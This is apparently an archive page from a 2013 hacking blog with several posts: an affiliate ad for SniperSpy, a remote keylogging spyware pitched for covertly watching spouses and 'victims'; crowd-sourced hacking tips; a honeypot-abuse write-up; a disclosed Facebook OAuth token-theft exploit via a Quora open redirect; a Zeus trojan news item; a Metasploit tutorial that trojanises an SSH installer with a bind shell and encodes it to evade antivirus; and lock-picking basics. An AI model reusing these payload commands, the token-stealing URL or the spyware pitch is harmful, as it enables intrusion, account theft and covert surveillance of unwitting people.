Monday, June 24, 2013

How To Monitor A Remote Computer?

Are you looking for away to monitor a remote computer? Do you need to spy on your remote computer without the need for physical access? But wait! Before you go for any remote spy software you should read our shocking reviews about one of the best software for monitoring a remote computer. Whether you are performing a penetration test or whether you want to monitor your children, employees and spouse. Our solution would work for you.

1. Sniper Spy (Remote Install Supported)

Editors Rating: 9/10

Remote password hacking softwareSniperSpy is the industry leading software for monitoring a remote computer, It's main features include Remote Install and Remote Viewing feature.
Once installed on the remote PC(s) you wish, you only need to login to your own personal SniperSpy account to view activity logs of the remote PC’s!  This means that you can view logs of the remote PC’s from anywhere in the world as long as you have internet access!

Do you want to Spy on a Remote PC? Expose the truth behind the lies! Unlike the rest, SniperSpy allows you to remotely spy any PC like a television! Watch what happens on the screen LIVE! The only remote PC spy software with a SECURE control panel!

This Remote PC Spy software also saves screenshots along with text logs of chats, websites, keystrokes in any language and more. Remotely view everything your child, employee or anyone does while they use your distant PC. Includes LIVE admin and control commands!

remote password hacking software

remote password hacking software

SniperSpy Features


1. SniperSpy is remotely-deployable spy software

2. Invisibility Stealth Mode Option. Works in complete stealth mode. Undetectable!

3. Logs All Keystroke

4. Records any Password (Email, Login, Instant Messenger etc.)

5. Remote Monitor Entire IM Conversations so that you can spy on IM activities too

6. Captures a full-size jpg picture of the active window however often you wish

7. Real Time Screen Viewer

8. Remotely reboot or shutdown the PC or choose to logoff the current Windows user

9. Completely Bypasses any Firewall


How It Works?





What if i don't have physical access to victims computer?

No physical access is required in order to monitor a remote computer with Sniperspy, All you need to do to ask the victim to download and double click on your file. Once installed you can view the screen LIVE and browse the file system from anywhere anytime. You can also view chats, websites, keystrokes in any language and more, with screenshots.

This software remotely installs to your computer through email. Unlike the other remote spy titles on the market, SniperSpy is fully and completely compatible with any firewall including Windows XP, Windows Vista and add-on firewalls.

The program then records user activities and sends the data to your online account. You login to your account SECURELY to view logs using your own password-protected login. You can access the LIVE control panel within your secure online account.

Why Do I Need SniperSpy?

Do you suspect that your child or employee is inappropriately using your unreachable computer? If yes, then this software is ideal for you. If you can't get to your computer and are worried about the Internet safety or habits of those using it, then you NEED SniperSpy.

This high-tech spy software will allow you to see exactly what your teenager is doing in MySpace and elsewhere in real time. It will also allow you to monitor any employee who uses the company computer(s).

Will It Be Detected By Antivirus Engines?

Most probably no, Sniperspy is regularly updated and is designed to bypass most of the antiviruses, even if it does get caught. All you need to do is to contact their support team and they will provide you with a fully updated version of sniperspy.

      Sniperspy No 1 PC Spy software

Friday, June 21, 2013

100 Ways To Become A Better Hacker


Well, The title is self explanatory. This post would not rely upon my input but it would rely upon your input, We will be gathering here 100 ways to become a better hacker. In other words 100 ways to improve your skills as a hacker.

Rules

1) Every person would get the credit for his submission.

2) The submissions needs to be precise and should be unique from what others have submitted so far.

3) Only the top 100 submissions would be entertained.

4) Once we are finished with accepting and publishing 100 submission, you can still submit your answers, What we would do then is overwrite the existing ones with the better ones.

5) Only submission via comments would be accepted.

100 ways to become a better hacker

1) Learning scripting languages such as Python, Perl and ruby can help you automate your tasks and for sure improve your skills. ~ Rafay Baloch

2) Understanding all possible user inputs is the fastest way to hack into the systems. ~ Shahin Ramezany 

3) When u gain access to an account or whatever u hacking in to, best practice do not alter anything. just monitor the activity and continue fetching information u need. ~ josh odongo

4) Travel and see different countries, it will make you better ~ Egor Homakov

5) Never hesitate for usage of Google and other resources available i.e. exploit-db, and be updated with versions and bugs in each versions, for example, if I talk about WordPress, then one who is looking to hack WordPress website or pentest, then he should be well aware of at least 3.0+ versions updating, so whichever version is being used on the website, he should know the vulnerabilities in that and their exploitation ~ Anonymous

6) RTFM, don't expect handouts. Educated questions, gets you educated answers ~ TomG

7) Move to Linux, learn Programming Languages C, Pearl, Lisp, Java and Html and write open source programs. Improve your functional English. ~ Asfar

8) The most important factor for becoming a good hacker is, you must have your personal interest with computers. Additionally, you have to be definite in your work, such that you should take exactly interest in One thing at a single time. After covering the appropriate level of theory, the learner should try it practically as much as his satisfaction level. Watching Tutorials only for taking points, not really for following them from a to z exactly, because you have to be a good learner only if you have your personal intention for doing the things creatively. ~ Nasruminallah Zeeshan

9) One thing , Learn how old Hackers Started don't focus on new Programs like BACKTRACK , METASPLOIT , Learn Manual Hacking , Learn Coding and be patient ! Knowledge will come with time ! and practice all methods ~ Amie

10) Do not rely on tricks for hacking. As they will keep you a script kiddie, get deep understanding about stuffs. And also don't rush from one topic to another. All those combined will make you a better hacker. "Slow and Steady wins the race"  ~ Bluff Master 

11) A support will always lift you up. Join groups, forums. Keep yourself updated with latest hacking news by reading blogs [Like this ;)], tweets etc. ~ Sahil Sehgal

12) Understand what programming language to use at what moment. You're time is valuable so don't waste it writing something that could have been done faster! (and understand the difference between a scripting language and a programming language, python for example is a programming language. ~ Saikia81

13) During hacking remain mentally intact and focus on your each step. During a step always remember your next steps and the way you have to link them. Dont always use old methods and tricks, try new one and use your own mind too. and remember one thing that there is no shortcut of Hacking, to became a hacker, you have to give your whole passion to hacking. "Hacking is an Art, and Hacker is an Artist".  ~ Ali

14) This Attitude should be there within "SWEAT MORE IN PRACTISE, SO YOU BLEED LESS IN WAR" #defensive #offensive #B31212Y 

15) Whatever you're going to test,start it with a basic stuff. If you dont know any,start learning.
~ Ahmed Ashraff 

16) Enumeration is the key to pwnage, the more you enumerate the more attack surface you get ~ Prakhar Prasad

17) Be patient! Learn different protocols and read the RFCs to understand how they work and if there are some "security by design" issues. After that you should try to understand the context you're in and therefore develop an exploit for this particular context. ~ David Viera Kurz

18) Sleep less, read more. Learn & Think & Try & Fail & Never give up. Remember, "...imagination will take you everywhere". ~ Gökmen GÜREŞÇİ

19) Don't compete anyone, never think you are the best, just compete "the you in the past". There will always be a vulnerability waiting for being discovered, by someone who thinks different. Understanding human logic makes things easier. "Hackers realize, kiddies memorize" ;) ~ Agd_Scorp

20) Learn your own systems inside out, before moving on to other systems. The better you know your own, the more capable you will find yourself when it comes time to make your system work for you. ~ jericho

21) To be a good hacker, you need have good social engineering skills. Try to understand your victim's mentality, it will give you the ability to guess his/her confidential information ~ Shakil Hussain

22) A great person had said "if i had 8 hours to chop down a tree, I'd spend 6 hours sharpening my axe". Apply this on yourself. Prepare yourself! Learn programming, networking, scripting and all, be passionate, motivate yourself then start hacking with your own ideas...You will surely win! #initinpandey 

23) Use your inner power to became a great hacker. Just keep reading.. The more you read..the more you understand things behind the scene. ~ nikhilkulkarni 

24) A startup now can be just a pair of 22 year old guys. A company like that can move much more easily than one with 10 people, half of whom have kids. ~ Anonymous

25) Think of all the psychic energy expended in seeking a fundamental distinction between "algorithm" and "program" ~ Amit Prakash 

26) If you don't have time to do it right, when will you have time to do it over? ~Sunny Rockzzzz 

27) Out in the field, any connection with home just makes you weaker. It reminds you that you were once civilized, soft; and that can get you killed faster than a bullet through the head.”~ Henry Mosquera

28) Most hackers are young because young people tend to be adaptable. As long as you remain adaptable, you can always be a good hacker.” ~ Emmanuel Goldstein 

29) Be very careful. We suggest getting a book on HTML to avoid becoming a real legend in the hacker world. Putting up a web page before you know how to put up a web page is generally a very bad idea. The .gov sites are an exception. ~ th3.d3sty0y3r

30) We were addicted to hacking, more for the intellectual challenge, the curiosity, the seduction of adventure; not for stealing, or causing damage or writing computer viruses. ~ Defencely.com

31) To be a good hacker you have to learn from yourself. Learn from books like "The basics of ethical hacking and pen testing" and "The web app hackers handbook-Ed.2". Once you learnt these books i promise you will be able to hack systems as well as web apps. ~ Aarshit Mittal

32) Try to see, feel and possibly touch everything that you learn, only then you will be confident about your attacks/defenses. ~ Nishant Das Patnaik

33) Adopt the mindset of a hacker ~ Mohamed Shimran

34) You may not be there yet but with everyday practice you will be closer than yesterday. ~ Anonymous

35) Set of code has to be made by a hacker Don't get caught Learn the basic functionality of a system and network then explore their loop holes Every developer make mistake while developing identify the exploit and notify them to the develop ~ Vinoth Vel o

36) When you learn something in this field, always put it to good use .Defacing websites will not make you a better hacker, but, helping someone with their security might earn you a respect even higher than what a blackhat may get . ~ Himanshu Sharma

37) Learn how the technology you are trying to hack works inside and out before you try to hack it. It's much easier to find a way in if you understand exactly how and why the technology works. ~ David Melnichuk 

38) Be consistent. If you want to learn, dedicate a certain amount of time every week to learning. Don't take breaks because you will forget things. When it comes to ethical hacking, you have to learn and understand certain things before you can move on to understanding something else. Building on top of itself. ~ David Melnichuk 

39) Find a safe and legal way to practice what you learn. Without actually doing what you read/watch, you won't know anything. You will learn 1000x more from doing something then from reading about it. Don't get stuck in the trap of watching/reading without trying everything you learn. You can use VirtualBox to create linux virtual machines to practice on. ~ David Melnichuk

40) Keeping 'hacker' as a surname on your Facebook account does not really make you a hacker. Being unnoticed and non-egoistic does make you one!

41) To be a better hacker, become an IT professional first. Then fill the gaps through broadly studying and practicing. The most important thing - DO NO HARM !!

42) What can be created, can be destroyed. Nothing is completely secure, not even your mind, you just have to find a way to hack it. Real life manipulation or social engineering is also a part of hacking (Mind Hacking), get interested into it, if you don't like digital technicality.

43) First learn how the stuffs work , then try to find the weakness in them and eventually break into those ' ~ Santosh Bhandari

44) Always believe you would be able to do something. The moment you start thinking you can't hack because it is too secure, that is when u fail.

45) Hacking into something without actually knowing how you actually did it is like without having knowledge of Hacking is just like a knife without sharpness - Ahmed Mehtab

46) To break the code, one needs to understand how to build one ~ Sawan Patel

47) If she knows how to code, marry her ~ Salman Sheikh

48) A child plays with toys whereas hacker plays with computers ~ Danish Ali Malik

49) Learning the depth of how everything works and having the mindset of a 'hacker' that how you can make it work better and faster, making it do things which it wasn't built for. ~ Siddhart Sinha

50) Developing and creating own ways can help you to become better hacker ~ Babar Akhunzada

51) Listen, learn, understand. Knowing that you CAN hack something, but chose not to, because it's not important to demonstrate how good you are, but to understand and demonstrate all the weaknesses without causing harm or blowing your own trumpet. The best people in our field are not those who can do one thing well, but understand how to interact with people, the business, and the value of the data you are protecting. ~ Andrew van der stock

52) Nothing is 100% secure you just have to look hard enough. ~ Osama Mahmood

53) Everybody can use the same vector over and over again and find XSS (like the one million chickens with one million keyboards - who will find XSS at some point). But there's so much more than that out there! ~ Mario Heiderich 

54) Understanding human behavior is the most important weapon for hackers. ~ Talha Siddiqui

55) Develop Killer-instinct in yourself. A Hacker should not be Kind while breaking into Systems (whether it's white hat or black hat ) ~ Muhammad Ateeb

56) Keep learning, the day you think that you have learnt enough, start learning again! ~ Bilal Ch

57) Being a Ethical Hacker its your responsibility to let organizations know that for an effective hacking defense they must have one quote in mind that today "We do not need security products, We need secure Products" for the ultimate solution in defense process. ~ Rahul Tyagi

58) If you go to a coffee shop or at the airport, and you're using open wireless, I would use a VPN service that you could subscribe for 10 bucks a month. Everything is encrypted in an encryption tunnel, so a hacker cannot tamper with your connection. However as a Creative - Intelligent or Passion you have to break the Security is doesn't matter because Time to time Things will Keep on Change . So you Have to Dare to See What Unseen and Fully Go through out the Knowledge . ~ Mizta Kąţhįrmac

 59) No matter how secure a target is, You can often override the security features of the machine, by exploiting the operator of it. ~ Gary Lewis

60) ..

Wednesday, June 19, 2013

Using Honeypots To Your Advantage - Attacking Kippo



Rafay asked me to do a guest blog and I tried to guess what would be the most useful for this crowd? I think I got just the thing. Ever scanned a box, wondered if it was a honeypot or found it was a honeypot and dissapointed? Well worry no more, today I'll guide you on how to identify honeypots globally, kippo specifically, and how to abuse the functionality of honeypots to your advantage to perform external/internal attacks. Without further ado:

Attacking Kippo

I was perusing my usual reddits and saw a post about tutorial requests. I was looking for ideas on something to do to kill a couple hours and happened across this:
"Id love to see some stuff on recognizing and breaking out of a honey pot (Kippo?)"
I've never looked at kippo code before and was intrigued if I could actually break out of the honeypot and/or what else I could do with one. Well, I haven't been able to break out of it just yet, but I did find you could abuse them as internal (leaking internal address) and external full connect scanners. Read down for more information.

Stage 1.) Fingerprinting (Kippo)

Fingerprinting honeypots is not hard when you actually know what to look for. Kippo is no exception. It doesn't allow a variety of commands that a normal host would, it uses static replies for several other commands (http://osvdb.org/show/osvdb/78099 *sigh* you really submitted that?) easily found in txtcmds directory and the source all over, it breaks command structure arguments like "wget -o log a.com" would attempt to retrievehttp://log, and allows ssh to any host with any password such as "ssh a". Really, there's no challenge in detecting Kippo nor any other honeypot as it's really meant for kids that don't know linux or automated bots trying to infect machines.
The most stealthy approach I found for Kippo detection is attempting to execute a command on login (ssh root@blah id). When attempting this Kippo causes a NotImplementedError exception and won't allow you to connect:
core/honeypot.py:463
def execCommand(self, protocol, cmd):
raise NotImplementedError
This completely kills the connection attempt and doesn't return the command as normal operation would be.

Stage 2.) Universal Fingerprinting

The problem with honeypots is they are emulated layers. Even if a machine attempted to look as realistic as possible, there's still certain things root can do that will likely not be emulated. The style I've been using for a while is adduser. Kippo likes to toy with people, so it endlessly loops through the adduser screen. Easy spotting.
However, other honeypots simply won't let you add users or they will only emulate that they added them with /etc/passwd, /etc/shadow, emulated su/sudo, and etc. By making sure the user has appropriate rights and going through a new session with the new user you should be able to spot any honeypot so far. A session restart usually just refreshes the emulation as if nothing happened in your previous session. If it didn't do that, one could just deplete your honeypot by rm -rf /*.
/* Note that this can be worked around. Kippo has a userdb for users one could dynamically populate, I just have yet to see it happen. */

Stage 3.) Let's Toy With Kippo (external port scan)

Kippo allows a 'malicious' user to download external files for malware analysis. This, of course, allows us to go ahead and make connections outbound with the honeypot via wget. We don't have much to go off of as no commands with wget are implemented, but we can do port scans. The emulation shows that wget adds http:// in front of all requests, however these are just passed off to connectTCP from the twisted library:
commands/wget.py:103
self.connection = reactor.connectTCP(
host, port, factory, bindAddress=out_addr)
So what we can do is wget test.com:port and see if we get:
"HTTP request sent, awaiting response... Connection was closed cleanly."
For an open port or:
"HTTP request sent, awaiting response... User timeout caused connection failure."
Not the fastest thing in the world considering timeout rate is 20 seconds. You can connect to the same host multiple times if you really wanted to speed that process up. And remember this is a full connect, so in some cases it can be fairly useless.
/* I think it'd be interesting if people did this to issue attacks on large enterprise or government sites known to run ids/ips and see how long it takes to get their account suspended or service dropped. wgetfbi.gov:80/attack_attempts_with_uri would be curious. */

Stage 4.) Let's Toy With Kippo (internal port scan)

I sectioned this off because there's an extra trick in here to find the internal address. Of course, one can just scan .1 and .254 in typical to all rfc1918 ranges and see if they get a response for remote control ports. Assuming they're disabled, even though that's not likely just stick with me for the fun of it, we have another toy to use. We can scan internal ranges under the same honeypot port and use the last command.
Example:
Let's assume the honeypot is running under192.168.1.124 on the default port 2222. By attempting to "wget 192.168.1.124:2222", getting a "Connection was closed cleanly." response back indicates we might have found our own address. We can verify by running the last command and seeing if the internal address is in the log file. If you were to simply try localhost:2222, we'd just see 127.0.0.1 in the logs file.
/* side note - I think people running Kippo in their home under SOHO routers that have issues like persistent XSS or open config pages that spit back passwords could be interesting to check out. */

Stage 5.) Future Attacks

This framework uses quiet a bit of libraries including twisted. If issues were found in these libraries, one could potentially compromise or crash the honeypots. There's certainly more to toy with in Kippo, I just ran out of time and need to continue other work you'll be seeing here soon. Enjoy!

Misc.) Meta Characters

Kippo doesn't strip or replace all meta characters when writing to file. Depending on what kind of program is used to read these files in (I was using last), issuing \x08 (backspace) multiple times will remove entries. Try "ssh blah.com -p 2222 -l $(echo -e "\x08\x08\x08\x08blah)" and tail -f log/kippo.log to see. It's not likely something you'll know of off hand, but if Kippo interfaces get popular and they correctly treat these meta characters or someone told you how they read log files for analysis on a forum/mailing list, it could be of use.

About The Author

This article has been written by Tyler Borland, He has years of experience in Network, Webapplication security. He is an encyclopedia and researchers on each and every subject. 

Friday, June 14, 2013

Hacking A Facebook Account With Quora - PWNQUEST



Well, We have already discussed many ways that a can use to hack a facebook account, however in this post we will discuss about an unpatched flaw inside the facebook oauth design.
An Independent security researcher and a very good friend of mine "Prakhar Prasad" exploited a flaw inside the oauth of Facebook, but the problem is that there is not much facebook can do in this scenario, Almost all the oauth flaws that have occurred on facebook have some thing to do with   tampering the redirect_uri parameter, with this flaw facebook cannot do much since they do not have much control on the part which we will discuss. Successful exploitation of this attack may lead to a full account compromise, however this solely depends upon the permission that the user assigns to the application, in most cases you won't be able to do much other then updating the user's status.
Exclusively for RHA readers Prakhar was kind enough to make a step by step demonstration of how the attack was carried. Over to Prakhar.

I wanted to share the details of an open redirection vulnerability, which I found a popular Q/A website quora, possessing Alexa rank of around 800 worldwide and how someone can exploit the issue to hack Facebook accounts.

So, let's come to the topic. While signing up for Quora website, I preferred using Facebook Connect which gives "limited" access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed www.quora.com was permitted to receive the access_token from Facebook OAuth, any other domain other than www.quora.com would result in a failure of that request. See below





Cool, I needed to find an open redirection inside the www.quora.com to steal the access_token of any Quora user who signed-up using Facebook and has App enabled.

Luckily I found a redirection issue in the contacts import page itself. The redirector was like:

https://www.quora.com/contacts/skip?goto=http://www.google.com


So this link would redirect to http://www.google.com, accordingly I can redirect users to any domain of my choice.

Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at http://poc.prakharprasad.com/quora 


To make it a working exploit I needed the following missing pieces:

1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in next parameter of OAuth authorization URL with a valid access_token.

2. As discussed we know next can be any page/resource under www.quora.com. So next parameter must be set to https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token to http://poc.prakharprasad.com/quora where my script will do its job.

Final OAuth authorization URL that would steal the access_token looks like

https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token

Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened.

Using the stolen access_token I can, for example publish a status on victim's profile.




Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!



As usual, here's the video demo :




Timeline:

8th June 2013 - Vulnerability Found
9th June 2013 - Vulnerability Reported
13th June 2013 - No Reply from Quora
13th June 2013 - Another notification sent to Quora staff member, got a reply acknowledging the issue
14th June 2013- Fix deployed on Quora, public disclosure  

Monday, June 10, 2013

How Your Bank Accounts Can Be Stolen With Zeus Virus?

The 'Zeus Trojan Horse' Virus once again had a come back. According to a resource, it has an ability to drain your Bank accounts easily.

Zeus Virus can propagate through phishing messages that are generated from the account that was already compromised with phishing. That phished account will then start sending messages to your friends containing links to the ads and would ask them to simply check-out the video or product by clicking on such links. This way the virus will go viral.


Readers are requested to stay refrain from clicking such links, because they might end up getting their accounts compromised The virus is very sophisticated, so that it could replace the website of a bank with the mimicked page of its own.

That fake page could then ask for your security information and some other important data that could be easily sold in black market.

According to many sources, perhaps it has been confirmed that those pages are being hosted by Russian Mafia (known as Russian Business Network as well).

About Zeus(Virus)


The virus is well-known for what it use to do. It was detected once back in 2007, and after that detection it started to spread online. The virus is well-designed so that if you would click on it, the possible and important data like Passwords and Bank Accounts can be stolen easily.

Does Facebook Took Action Against It?

Facebook is aware of it, but it is unlikely that Facebook is going to take any action against it.

The founder of advocacy group Fans Against Kounterfeit Enterprise (FAKE) said that he was trying to alert Facebook about this issue to take action against it as soon as possible, but unluckily he was not satisfied well with their response.

Those who are using windows should stay much careful about this issue. It has been said that Windows devices are much infected with this virus. Hence, Mac OS X or Linux are still safe of this virus.

Some countries like USA and UK are badly infected, though, India, Russia, Canada and France are also infected with the virus at some moderate  limits. Some other countries like Australia, Argentina, Brazil, South Africa, Chile, Saudi Arabia, Pakistan, Indonesia and some other South-East Asian and European countries are less affected by this virus.

Sunday, June 2, 2013

How To Bypass Antivirus Detection - Making An Executable FUD


So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots of approaches, however our team member Malik Rafay has managed to find a way to make an executable FUD using msfencode.

Requirements 

A Backtrack machine , real or virtual. I used Backtrack 5 r3, but other versions of Backtrack are working OK too !!!

Attention !!!


We are using some harmless test files but don't infect people with any real viruses that's a Crime and we here at RHA are not responsible for

Purpose:

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener:

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won't spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands: 

cd
msfpayload
 windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe
ls -l listen.exe


You should see the test.exe file as shown below:


Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the "Choose File" button. Navigate to /root and double-click the listen.exe"listen.exe" appears in the "Choose File" box, as shown below:


In the virustotal web page , Click the "scan it" button !!!

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that many of the antivirus engines detected the file--33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.


Encoding the Listener

this process will encode the listener, & insert it into an innocent SSH file.
In BackTrack, in a Terminal window, execute these commands:
wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :




Scan with virusTOTAL

Go to: https://www.virustotal.com/

If you see a "File already analyzed" message, click the "View last analysis" button.
The analysis shows that fewer of the antivirus engines detect the file now--21 out of 42, when I did it, as shown below. You may see different numbers.

 

Encode the Listener Again This process will encode the listener with several different encodings.


In BackTrack, in a Terminal window, execute these commands:
msfencode -i /root/test.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o

/root/listen3.exe -e x86/jmp_call_additive -c 1
msfencode -i /root/test3.exe -t raw -o /root/test4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/test4.exe -o /root/test.exe -e x86/shikata_ga_nai -c 1ls -l listen*
You should see several files as shown below :



Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

About The Author

The article is written by Malik Rafay, He is an independent security researcher and is the newest member on RHA team. You can contact him here.

Source

http://samsclass.info/120/proj/p6x-AV-bypass.html

Saturday, June 1, 2013

How To Pick A Lock - Lock Picking Basics

Lock picking is considered by some to be the original "hack".  Long before computers there were locks and someone who wanted to manipulate them. The common misconception when picking a lock is that the process is difficult when, in actuality, it is quite simple. There are my methods to picking a lock but for this post we are going to go over the most basic method, “raking” or “scrubbing”.

Raking a lock is a simple, yet effective, way of manipulating the pins in a lock to open it without a key and can be achieved by the following steps:

  1. Insert the rake into the lock and make sure you are past the last pin. I like to push all the pins up so I can feel where the rake is placed in the lock. If you do not have a rake, one can be purchased from Bump My Lock 
  2. Insert the tension tool into the lock not to obstruct the rake. 
  3. Apply sight pressure on the tension tool in the direction you want to open the lock. This is the most difficult step in the process and will take some time to learn the right amount of tension. When teaching I like to use a rubber band on the end of the tension tool and pull just to when the rubber band starts to stretch.
  4. Try not and touch the walls of the keyway and pull the rake straight out in one solid fast motion.
  5. If the lock does not open on the first try don't fret, insert the rake again, adjust your tension, and repeat the process.

Even though this is a simple way of picking a lock it will still take a good deal of practice and time to learn the skills and movements involved. One great tool for learning how to pick locks is the Lock Pick School in a Box and our Clear Practice Locks; both can be found here.


About the Author: 

Clint Ditto is the owner of Bump My Lock, and an advanced lock picker who has successfully trained thousands of people the skills of lock picking for over a decade.